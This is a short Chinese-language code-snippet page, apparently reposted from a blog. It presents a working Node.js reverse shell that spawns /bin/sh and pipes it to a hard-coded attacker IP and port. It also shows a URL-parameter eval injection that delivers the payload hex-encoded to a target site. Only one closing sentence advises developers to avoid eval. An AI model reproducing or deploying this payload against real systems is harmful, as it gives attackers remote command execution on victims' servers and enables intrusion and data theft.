首页 > 代码库 > JavaScript反向shell

JavaScript反向shell

Node.js反向Shell

摘自:http://www.itfang.net/?p=109

如下的Javascript就是一个Node.js的反向连接shell。

这个payload将会生成一个/bin/sh的shell,创建一个TCP连接到攻击者的服务器,并且在通信数据流中绑定shell命令。

(function(){    var net = require("net"),        cp = require("child_process"),        sh = cp.spawn("/bin/sh", []);    var client = new net.Socket();    client.connect(8080, "10.17.26.64", function(){        client.pipe(sh.stdin);        sh.stdout.pipe(client);        sh.stderr.pipe(client);    });    return /a/; // Prevents the Node.js application form crashing})();

为了优雅的执行payload,我们还需要一些小技巧,我们将反向连接shell的payload用16进制进行编码,然后再用Node.js的Buffer对象来对其进行解码操作。

http://target.tld/?name=["./;eval(new Buffer(‘PAYLOAD‘, ‘hex‘).toString());//*"]

我们强烈的建议开发者们避免在JavaScript项目中使用eval函数,而修复的方法也很简单,直接使用RegExp对象来对数据进行操作即可。

JavaScript反向shell